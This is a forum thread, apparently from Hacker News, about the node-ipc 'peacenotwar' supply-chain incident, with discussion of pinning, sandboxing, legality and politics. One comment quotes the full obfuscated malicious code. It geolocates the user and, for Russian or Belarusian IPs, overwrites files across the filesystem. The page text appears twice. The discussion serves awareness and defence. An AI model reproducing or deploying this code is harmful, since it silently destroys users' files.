8 ms·

Node-ipc supply chain attack: peacenotwar

113 points by smashah 5y ago

ammo1662 5y ago
How to avoid such kind of problems? node_modules is terrible. I can only think of some ideas: - Use a private registry, which will only sync with upstream once a month. - Do not update dependencies frequently. Any other ideas?
- PHGamer 5y ago
  specify specific versions in your npm or pip package list lol.
  - mindwok 5y ago
    Even better, specify by hash - Poetry for Python does this by default. This will prevent cases where malicious actors replace existing versions that you might have pinned to.
  - ammo1662 5y ago
    Yes, package.lock is used by default now. But when you do want to update the dependencies. It will update thousands of libraries at the same time. However it is a problem of the eco system, not package manager.
netr0ute 5y ago
Has anybody ever wanted politics in any of their software?
- jddil 5y ago
  Some of the earliest software I know of was for guidance systems. Was that political? Edit* To expand I think it was and we are naive if we believe we aren't making political statements with a lot of the choices we make.
- senectus1 5y ago
  emphatically no.
- eyelidlessness 5y ago
  Politics is in all of your software. As a simple demonstration of that, either you wrote it, it’s licensed to you under specific terms, or you’re using it unlicensed and likely violating some set of laws. If you mean “political disagreements I would prefer didn’t overlap with my software priorities”, yeah some of us do want that. Part of achieving any goal is persuasion and leverage. Humans are involved in making software and we put our priorities into that as we see fit. I’m not saying this malware is good (it’s not), but this question deserves an answer in its own right.
  - bigDinosaur 5y ago
    There's politics in the procedural sense of adhering to laws and regulations, which is just something we have to accept as part of rule of law, contracts, etc. They're usually far from perfect but will always exist in some kind of form. Then there's the politics of protest, and you sure as hell don't want those in any critical software. Would you want the software that controls your water supply to be similarly politicised in the way this peacenotwar package does? No - because water supply should be politics free at providing the actual service (i.e. water) even though the actual infrastructure was funded by politicians.
    - eyelidlessness 5y ago
      I want the politics of protest in software. I want us as a community to be better prepared for the responsibility of our profession—like engineers—and better stewards of our society, and to protect people from the dangers of sabotage while advocating for the people who rightly see sabotage as a viable option… possibly the only one. We have extraordinary privilege and power as workers. We have the power to make the world better. The people who want to make it worse already see us and our domain as an attack vector. We cannot change that. We should rise to the occasion, not declare neutrality in its face.
      - bigDinosaur 5y ago
        You really want infrastructure to become political in the sense of the service that's actually provided? As an example, I heavily disagree with the focus on car infrastructure and the extreme amount of billions I consider largely misallocated. Does that give me the right to inject my politics into traffic signaling software? The possibilities for that are endless and almost all of them are bad. These areas must not be political to prevent spirals of politicisation (remember, if this becomes the norm then it'd justify your political enemies doing the exact same thing). As far as I am aware, engineers do not inject politics into bridges or rail infrastructure or anything else, and though they do have codes of conduct and legal responsibility for what they sign off on that's not so much political as it is discouraging negligence. Nothing in my position is against engineers having political opinions, or campaigning for what they want, or resigning or whatever. I just think that that's not appropriate in terms of the actual service they concretely provide to society during their employment.
- zucker42 5y ago
  Yes, I want the political ideas that "the user should maintain control over software he/she uses" and "the user has a right to repair technologies he's using" reflected in my software. This is definitely a terrible and destructive decision by the maintainer(s) but not because its politics.
  - zorpner 5y ago
    Why should the maintainer not have the freedom to write the software they wish? The users of their software aren't being denied their freedoms to control and repair the code.
    - zucker42 5y ago
      Sorry, those ideas were not meant to necessarily be directly related to the topic at hand. They were examples of political ideas that I want to be reflected in my software (just like apparently this maintainer wanted the political idea that "citizens of Russia/Belarus should have consequences if they use this software" reflected in the software he wrote).
      - zorpner 5y ago
        ah, understood -- thank you for the clarification!
- klyrs 5y ago
  [laughing in RMS]
  - eyelidlessness 5y ago
    I upvoted this despite vehemently disagreeing with RMS on many topics, because it’s the most glaring politics in software intersection that’s invisible here.
- spyremeown 5y ago
  Open Source? Yea? I mean, that's the whole point.
sodality2 5y ago
Is it really a supply chain attack? Were any modules taken control of
- TAForObvReasons 5y ago
  In 2022 it's a "supply chain attack" if it disrupts downstream users. The faker.js / colors.js changes were also see as a supply chain attack even though the maintainer knowingly made the changes.
- eyelidlessness 5y ago
  Every package that installs this as a subdependency, unless they specifically override the default behavior. That’s assuming you don’t consider hooks (automatically run by default) of direct dependencies valid.
- eddyg 5y ago
  Things like Unity Hub were affected, and required a “hot fix” release as one high-profile example: https://unity3d.com/hub/whats-new https://unity3d.com/hub/whats-new
romanzubenko 5y ago
Recap of chain of events: https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/ https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-pack...
- moltke 5y ago
DevopsQuestions 5y ago
This GH issue has links to the malicious code -- it deletes files of users whose IP addresses are Russian https://github.com/RIAEvangelist/peacenotwar/issues/61 https://github.com/RIAEvangelist/peacenotwar/issues/61 # https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
- DevopsQuestions 5y ago
  The commit: https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f8...
- sodality2 5y ago
  I see "This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository." on all of the links, does that mean it's possible someone pushed to a fork and "framed it"? Edit: Never mind, here's the commit: https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f8...
rectang 5y ago
From the module description for peacenotwar: > This code serves as a non-destructive example of why controlling your node modules is important. I've complained loudly about supply chain weaknesses in the past. But this action, by a trusted author whose identity is known, is not something that our usual models are prepared for, and I'm not sure what we're supposed to learn from it. Our defenses are tuned to protect against attackers who don't want to be known and who don't have a public reputation built up which they burn in one go.
- nyanpasu64 5y ago
  Making projects more trustworthy: checks and balances, replacing the culture of single-author micropackages with larger multi-maintainer projects (like Qt) where maintainers review each other's work (as well as outside contributors), reducing the ability for one rogue individual to pull stunts (instead requiring the coordination of multiple people, which is not impossible but more difficult). Avoiding delegating trust: simpler dependencies with the minimum necessary functionality for each user, writing code not to ease the job of maintainers, but to better teach users learn how it works, empowering users to review/contribute upstream changes or fork the library if they desire. This conflicts with Boost-like entangled "multi-maintainer projects" where every library has a sprawling tree of internal dependencies, but (I'd argue) not more modular large projects.
- powersnail 5y ago
  > I'm not sure what we're supposed to learn from it That a individual's reputation doesn't earn enough trust to be an unchecked link in your supply chain. Dude can go rogue at any time, and you have no idea of what might be the trigger, because you don't actually have any personal knowledge of them.
- ryukafalz 5y ago
  >I'm not sure what we're supposed to learn from it. That just verifying the identity of a software author isn't sufficient to ensure the software is safe. We need to build our software such that the damage that can be done by a malicious actor in control of one component is isolated to that component. There's still some danger from malicious code even in that case, but it's far from the "total system takeover" that any malicious node library can do now. https://medium.com/agoric/pola-would-have-prevented-the-event-stream-incident-45653ecbda99 https://medium.com/agoric/pola-would-have-prevented-the-even...
anonymouswacker 5y ago
How is this not virtual terrorism? It targets a section of users indiscriminately (it ain't hitting Putin's Government exclusively), and it causes damage to make a political point.
- deleted 5y ago
  [deleted]
- google234123 5y ago
  Let’s not dilute terrorism more. Doing so is diminishes what real victims have experienced.
  - bejelentkezni 5y ago
    It is politically-motivated destruction of property. I don't know how much more textbook you want it to be.
    - 4khilles 5y ago
      That's not at all close to textbook terrorism. There's no violence or intimidation. It's not even clear whether this is unlawful.
      - Thiez 5y ago
        Intentional destruction of property is considered unlawful in most societies. I'm not sure why you would even question that?
    - jaxn 5y ago
      Can it be terrorism when counter-attacking the aggressor?
      - postsantum 5y ago
        It's not the agressor, it's general population that happened to live in the same place
latchkey 5y ago
Today I made a release of my npm package that gets 41k downloads a month. Something in the release process botched itself and a git tag was not made of the release, but it still made it to npm anyway. I immediately fixed the issue and made another release, with a tag. I went to the npm website and didn't see an obvious way to remove the botched release or even mark it as botched. Maybe there is something on the cli, but I'm lazy. I also got an automated issue created by "ChainAlert", whom I've never heard of before. "This issue was automatically created to inform you a new version (x.y.z) of yourproject was published without a matching tag in this repo." It seems like some effort is going into at least bringing this issue to the attention of the maintainers, but I feel like it should somehow be integrated into NPM directly in addition to an issue being created in my project.
- girvo 5y ago
  `npm unpublish @your-package/name@vx.x.x` is what removes it, if I remember correctly, though yeah thats from the CLI.
  - latchkey 5y ago
    Thanks. Your command gave me this: You can no longer unpublish this package. npm ERR! Failed criteria: npm ERR! has dependent packages in the registry But it also suggested the solution: npm deprecate -f 'package@x.y.z' "this package has been deprecated" That seems to have worked. Not sure why there isn't a button on the website.
thisarticle 5y ago
How is this not a criminal act?
- bejelentkezni 5y ago
  It is.
- matanshavit 5y ago
  What law are you proposing was broken?
  - alexlur 5y ago
    18 U.S. Code § 1030
    - matanshavit 5y ago
      Oh, I see. I understand how this would apply. Now I'm curious if it has been successfully used in any case of malicious open-source software.
- jeroenhd 5y ago
  I do wonder how the eventual criminal justice case is going to work out. This package won't appear on your computer by magic, you have to tell NPM to fetch it somehow. Now, the goal was obviously destructive, but the code execution and initiation of the payload was explicitly started by the user. Further complicating matters is that the actual crime, the destruction of data and the installation of the software in case of destructive behaviour, all happens overseas, in Russian jurisdiction. The USA isn't going to extradite this guy any time soon in the current political climate and if the checks all work well, no destructive code is actually executed on computers within the USA. I'm sure prosecutors will find a way to get the guy convicted, after all, they managed to abduct Kim Dotcom to the USA at the request of the copyright lobby, but it's going to be an interesting case.
  - inopinatus 5y ago
binarynate 5y ago
This is another reminder of why we should to move toward permissions sandboxing for individual libraries. Deno is a step in the right direction since it requires explicitly granting individual permissions for reading and writing the disk, but it currently does that at the program level rather than the library level.
- cyber_kinetist 5y ago
  Absolutely right, library-level permission systems are desperately needed, just like what Apple did with apps in iOS. The unfortunate thing is that these features aren’t at the OS level, and we need a separate runtime to do these kinds of things. The current widely used OS kernels (Windows, Linux) don’t give granular permissions that well, for example in Linux we either have all or nothing (root vs user). I’ve heard that OpenBSD has a system to constrain for each program what syscalls you can make, and Serenity is also following this model (https://awesomekling.github.io/pledge-and-unveil-in-SerenityOS/ https://awesomekling.github.io/pledge-and-unveil-in-Serenity...).
  - epidemian 5y ago
    > in Linux we either have all or nothing (root vs user) And it's not like non-root user is nothing. I, as a user, can of course access and edit files on my $HOME directory. But it's insane that a transitive dependency of a dev dependency that has been installed without even my knowledge can have by default the same permissions to access and override any file on my $HOME directory.
  - z3t4 5y ago
    Check out Apparmor and SELinux. You can for example make a profile for an app that says it can only access these files and write to these files, and forbid it to use the network. You can also start an app using the root user (or any user), but run setuid in the app (source code) in order to drop privileges. For example, first read secret key files, then drop privileges to a user that can't write anywhere - before running the rest of the code. This is common in web servers sunch as Nginx, you start with root, in order to read certificate keys, but the workers that accepts the requests and reads the files runs as the www user.
paradite 5y ago
This issue was also widely discussed in vue-cli repo issues: https://github.com/vuejs/vue-cli/issues/7054 https://github.com/vuejs/vue-cli/issues/7054 I keep a factual record of such incidents and their developments in a repo called github dramas: https://github.com/paradite/github-dramas https://github.com/paradite/github-dramas
lanmower 5y ago
If you used to like node-ipc, try hyper-ipc... its pretty cool, you can ipc behind nats without forwarding, you can move nodes without ip changes, ground-breaking. If you got hit using vue.js, try nobuild style app making its awesome! I've been using riot.js with zero build tools for two years now, and never looked back, there is no easier way to build apps. Don't look back! build back better!
megous 5y ago
Devs happily threw users of their apps under the bus with various thirdparty spyware/malware included into websites or mobile apps they wrote. There's no sandbox to protect the devs, though... :) So when NPM and friends will get trully weaponized in a smart way, it is going to be a real shit show. This looks like a good time to ramp up my defenses. Some kind of package review staging area would be nice. No more pulling npm packages directly from the net, but only from a local repository which only allows to pull updates into it after a manual review of changes from upstream npm packages. Or something like that.
badRNG 5y ago
‘No way to prevent this’, Says Only Development Community Where This Regularly Happens [0] https://itnext.io/no-way-to-prevent-this-says-only-development-community-where-this-regularly-happens-8ef59e6836de https://itnext.io/no-way-to-prevent-this-says-only-developme...
Aspie96 5y ago
The issue is also described in the National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-23812 https://nvd.nist.gov/vuln/detail/CVE-2022-23812
stagas 5y ago
You can mitigate against those kinds of attacks using npm's `--before` option: npm i --before=`date -I -d '-5 days'` It will only install packages released before the specified date.
- manquer 5y ago
  This exposes another threat vector, you would no longer receive patches for discovered as soon as they are available.
aasasd 5y ago
So, if I understand the story right, the author was allowed to continue on NPM as if nothing happened? Even though the issue was discovered in the original version before he published updates? https://www.theregister.com/2022/03/18/protestware_javascript_node_ipc/ https://www.theregister.com/2022/03/18/protestware_javascrip...

113 points by smashah 5y ago

How to avoid such kind of problems? node_modules is terrible. I can only think of some ideas: - Use a private registry, which will only sync with upstream once a month. - Do not update dependencies frequently. Any other ideas?

PHGamer 5y ago
specify specific versions in your npm or pip package list lol.
- mindwok 5y ago
  Even better, specify by hash - Poetry for Python does this by default. This will prevent cases where malicious actors replace existing versions that you might have pinned to.
- ammo1662 5y ago
  Yes, package.lock is used by default now. But when you do want to update the dependencies. It will update thousands of libraries at the same time. However it is a problem of the eco system, not package manager.

netr0ute 5y ago

Has anybody ever wanted politics in any of their software?

jddil 5y ago
Some of the earliest software I know of was for guidance systems. Was that political? Edit* To expand I think it was and we are naive if we believe we aren't making political statements with a lot of the choices we make.
senectus1 5y ago
emphatically no.
eyelidlessness 5y ago
Politics is in all of your software. As a simple demonstration of that, either you wrote it, it’s licensed to you under specific terms, or you’re using it unlicensed and likely violating some set of laws. If you mean “political disagreements I would prefer didn’t overlap with my software priorities”, yeah some of us do want that. Part of achieving any goal is persuasion and leverage. Humans are involved in making software and we put our priorities into that as we see fit. I’m not saying this malware is good (it’s not), but this question deserves an answer in its own right.
- bigDinosaur 5y ago
  There's politics in the procedural sense of adhering to laws and regulations, which is just something we have to accept as part of rule of law, contracts, etc. They're usually far from perfect but will always exist in some kind of form. Then there's the politics of protest, and you sure as hell don't want those in any critical software. Would you want the software that controls your water supply to be similarly politicised in the way this peacenotwar package does? No - because water supply should be politics free at providing the actual service (i.e. water) even though the actual infrastructure was funded by politicians.
  - eyelidlessness 5y ago
    I want the politics of protest in software. I want us as a community to be better prepared for the responsibility of our profession—like engineers—and better stewards of our society, and to protect people from the dangers of sabotage while advocating for the people who rightly see sabotage as a viable option… possibly the only one. We have extraordinary privilege and power as workers. We have the power to make the world better. The people who want to make it worse already see us and our domain as an attack vector. We cannot change that. We should rise to the occasion, not declare neutrality in its face.
    - bigDinosaur 5y ago
      You really want infrastructure to become political in the sense of the service that's actually provided? As an example, I heavily disagree with the focus on car infrastructure and the extreme amount of billions I consider largely misallocated. Does that give me the right to inject my politics into traffic signaling software? The possibilities for that are endless and almost all of them are bad. These areas must not be political to prevent spirals of politicisation (remember, if this becomes the norm then it'd justify your political enemies doing the exact same thing). As far as I am aware, engineers do not inject politics into bridges or rail infrastructure or anything else, and though they do have codes of conduct and legal responsibility for what they sign off on that's not so much political as it is discouraging negligence. Nothing in my position is against engineers having political opinions, or campaigning for what they want, or resigning or whatever. I just think that that's not appropriate in terms of the actual service they concretely provide to society during their employment.
zucker42 5y ago
Yes, I want the political ideas that "the user should maintain control over software he/she uses" and "the user has a right to repair technologies he's using" reflected in my software. This is definitely a terrible and destructive decision by the maintainer(s) but not because its politics.
- zorpner 5y ago
  Why should the maintainer not have the freedom to write the software they wish? The users of their software aren't being denied their freedoms to control and repair the code.
  - zucker42 5y ago
    Sorry, those ideas were not meant to necessarily be directly related to the topic at hand. They were examples of political ideas that I want to be reflected in my software (just like apparently this maintainer wanted the political idea that "citizens of Russia/Belarus should have consequences if they use this software" reflected in the software he wrote).
    - zorpner 5y ago
      ah, understood -- thank you for the clarification!
klyrs 5y ago
[laughing in RMS]
- eyelidlessness 5y ago
  I upvoted this despite vehemently disagreeing with RMS on many topics, because it’s the most glaring politics in software intersection that’s invisible here.
spyremeown 5y ago
Open Source? Yea? I mean, that's the whole point.

sodality2 5y ago

Is it really a supply chain attack? Were any modules taken control of

TAForObvReasons 5y ago
In 2022 it's a "supply chain attack" if it disrupts downstream users. The faker.js / colors.js changes were also see as a supply chain attack even though the maintainer knowingly made the changes.
eyelidlessness 5y ago
Every package that installs this as a subdependency, unless they specifically override the default behavior. That’s assuming you don’t consider hooks (automatically run by default) of direct dependencies valid.
eddyg 5y ago
Things like Unity Hub were affected, and required a “hot fix” release as one high-profile example: https://unity3d.com/hub/whats-new https://unity3d.com/hub/whats-new

romanzubenko 5y ago

Recap of chain of events: https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/ https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-pack...

moltke 5y ago

DevopsQuestions 5y ago

This GH issue has links to the malicious code -- it deletes files of users whose IP addresses are Russian https://github.com/RIAEvangelist/peacenotwar/issues/61 https://github.com/RIAEvangelist/peacenotwar/issues/61 # https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

DevopsQuestions 5y ago
The commit: https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f8...
sodality2 5y ago
I see "This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository." on all of the links, does that mean it's possible someone pushed to a fork and "framed it"? Edit: Never mind, here's the commit: https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f8...

rectang 5y ago

From the module description for peacenotwar: > This code serves as a non-destructive example of why controlling your node modules is important. I've complained loudly about supply chain weaknesses in the past. But this action, by a trusted author whose identity is known, is not something that our usual models are prepared for, and I'm not sure what we're supposed to learn from it. Our defenses are tuned to protect against attackers who don't want to be known and who don't have a public reputation built up which they burn in one go.

nyanpasu64 5y ago
Making projects more trustworthy: checks and balances, replacing the culture of single-author micropackages with larger multi-maintainer projects (like Qt) where maintainers review each other's work (as well as outside contributors), reducing the ability for one rogue individual to pull stunts (instead requiring the coordination of multiple people, which is not impossible but more difficult). Avoiding delegating trust: simpler dependencies with the minimum necessary functionality for each user, writing code not to ease the job of maintainers, but to better teach users learn how it works, empowering users to review/contribute upstream changes or fork the library if they desire. This conflicts with Boost-like entangled "multi-maintainer projects" where every library has a sprawling tree of internal dependencies, but (I'd argue) not more modular large projects.
powersnail 5y ago
> I'm not sure what we're supposed to learn from it That a individual's reputation doesn't earn enough trust to be an unchecked link in your supply chain. Dude can go rogue at any time, and you have no idea of what might be the trigger, because you don't actually have any personal knowledge of them.
ryukafalz 5y ago
>I'm not sure what we're supposed to learn from it. That just verifying the identity of a software author isn't sufficient to ensure the software is safe. We need to build our software such that the damage that can be done by a malicious actor in control of one component is isolated to that component. There's still some danger from malicious code even in that case, but it's far from the "total system takeover" that any malicious node library can do now. https://medium.com/agoric/pola-would-have-prevented-the-event-stream-incident-45653ecbda99 https://medium.com/agoric/pola-would-have-prevented-the-even...

anonymouswacker 5y ago

How is this not virtual terrorism? It targets a section of users indiscriminately (it ain't hitting Putin's Government exclusively), and it causes damage to make a political point.

deleted 5y ago
[deleted]
google234123 5y ago
Let’s not dilute terrorism more. Doing so is diminishes what real victims have experienced.
- bejelentkezni 5y ago
  It is politically-motivated destruction of property. I don't know how much more textbook you want it to be.
  - 4khilles 5y ago
    That's not at all close to textbook terrorism. There's no violence or intimidation. It's not even clear whether this is unlawful.
    - Thiez 5y ago
      Intentional destruction of property is considered unlawful in most societies. I'm not sure why you would even question that?
  - jaxn 5y ago
    Can it be terrorism when counter-attacking the aggressor?
    - postsantum 5y ago
      It's not the agressor, it's general population that happened to live in the same place

latchkey 5y ago

Today I made a release of my npm package that gets 41k downloads a month. Something in the release process botched itself and a git tag was not made of the release, but it still made it to npm anyway. I immediately fixed the issue and made another release, with a tag. I went to the npm website and didn't see an obvious way to remove the botched release or even mark it as botched. Maybe there is something on the cli, but I'm lazy. I also got an automated issue created by "ChainAlert", whom I've never heard of before. "This issue was automatically created to inform you a new version (x.y.z) of yourproject was published without a matching tag in this repo." It seems like some effort is going into at least bringing this issue to the attention of the maintainers, but I feel like it should somehow be integrated into NPM directly in addition to an issue being created in my project.

girvo 5y ago
`npm unpublish @your-package/name@vx.x.x` is what removes it, if I remember correctly, though yeah thats from the CLI.
- latchkey 5y ago
  Thanks. Your command gave me this: You can no longer unpublish this package. npm ERR! Failed criteria: npm ERR! has dependent packages in the registry But it also suggested the solution: npm deprecate -f 'package@x.y.z' "this package has been deprecated" That seems to have worked. Not sure why there isn't a button on the website.

thisarticle 5y ago

How is this not a criminal act?

bejelentkezni 5y ago
It is.
matanshavit 5y ago
What law are you proposing was broken?
- alexlur 5y ago
  18 U.S. Code § 1030
  - matanshavit 5y ago
    Oh, I see. I understand how this would apply. Now I'm curious if it has been successfully used in any case of malicious open-source software.
jeroenhd 5y ago
I do wonder how the eventual criminal justice case is going to work out. This package won't appear on your computer by magic, you have to tell NPM to fetch it somehow. Now, the goal was obviously destructive, but the code execution and initiation of the payload was explicitly started by the user. Further complicating matters is that the actual crime, the destruction of data and the installation of the software in case of destructive behaviour, all happens overseas, in Russian jurisdiction. The USA isn't going to extradite this guy any time soon in the current political climate and if the checks all work well, no destructive code is actually executed on computers within the USA. I'm sure prosecutors will find a way to get the guy convicted, after all, they managed to abduct Kim Dotcom to the USA at the request of the copyright lobby, but it's going to be an interesting case.
- inopinatus 5y ago

binarynate 5y ago

This is another reminder of why we should to move toward permissions sandboxing for individual libraries. Deno is a step in the right direction since it requires explicitly granting individual permissions for reading and writing the disk, but it currently does that at the program level rather than the library level.

cyber_kinetist 5y ago
Absolutely right, library-level permission systems are desperately needed, just like what Apple did with apps in iOS. The unfortunate thing is that these features aren’t at the OS level, and we need a separate runtime to do these kinds of things. The current widely used OS kernels (Windows, Linux) don’t give granular permissions that well, for example in Linux we either have all or nothing (root vs user). I’ve heard that OpenBSD has a system to constrain for each program what syscalls you can make, and Serenity is also following this model (https://awesomekling.github.io/pledge-and-unveil-in-SerenityOS/ https://awesomekling.github.io/pledge-and-unveil-in-Serenity...).
- epidemian 5y ago
  > in Linux we either have all or nothing (root vs user) And it's not like non-root user is nothing. I, as a user, can of course access and edit files on my $HOME directory. But it's insane that a transitive dependency of a dev dependency that has been installed without even my knowledge can have by default the same permissions to access and override any file on my $HOME directory.
- z3t4 5y ago
  Check out Apparmor and SELinux. You can for example make a profile for an app that says it can only access these files and write to these files, and forbid it to use the network. You can also start an app using the root user (or any user), but run setuid in the app (source code) in order to drop privileges. For example, first read secret key files, then drop privileges to a user that can't write anywhere - before running the rest of the code. This is common in web servers sunch as Nginx, you start with root, in order to read certificate keys, but the workers that accepts the requests and reads the files runs as the www user.

paradite 5y ago

This issue was also widely discussed in vue-cli repo issues: https://github.com/vuejs/vue-cli/issues/7054 https://github.com/vuejs/vue-cli/issues/7054 I keep a factual record of such incidents and their developments in a repo called github dramas: https://github.com/paradite/github-dramas https://github.com/paradite/github-dramas

lanmower 5y ago

If you used to like node-ipc, try hyper-ipc... its pretty cool, you can ipc behind nats without forwarding, you can move nodes without ip changes, ground-breaking. If you got hit using vue.js, try nobuild style app making its awesome! I've been using riot.js with zero build tools for two years now, and never looked back, there is no easier way to build apps. Don't look back! build back better!

megous 5y ago

Devs happily threw users of their apps under the bus with various thirdparty spyware/malware included into websites or mobile apps they wrote. There's no sandbox to protect the devs, though... :) So when NPM and friends will get trully weaponized in a smart way, it is going to be a real shit show. This looks like a good time to ramp up my defenses. Some kind of package review staging area would be nice. No more pulling npm packages directly from the net, but only from a local repository which only allows to pull updates into it after a manual review of changes from upstream npm packages. Or something like that.

badRNG 5y ago

‘No way to prevent this’, Says Only Development Community Where This Regularly Happens [0] https://itnext.io/no-way-to-prevent-this-says-only-development-community-where-this-regularly-happens-8ef59e6836de https://itnext.io/no-way-to-prevent-this-says-only-developme...

Aspie96 5y ago

The issue is also described in the National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-23812 https://nvd.nist.gov/vuln/detail/CVE-2022-23812

stagas 5y ago

You can mitigate against those kinds of attacks using npm's `--before` option: npm i --before=`date -I -d '-5 days'` It will only install packages released before the specified date.

manquer 5y ago
This exposes another threat vector, you would no longer receive patches for discovered as soon as they are available.

aasasd 5y ago

So, if I understand the story right, the author was allowed to continue on NPM as if nothing happened? Even though the issue was discovered in the original version before he published updates? https://www.theregister.com/2022/03/18/protestware_javascript_node_ipc/ https://www.theregister.com/2022/03/18/protestware_javascrip...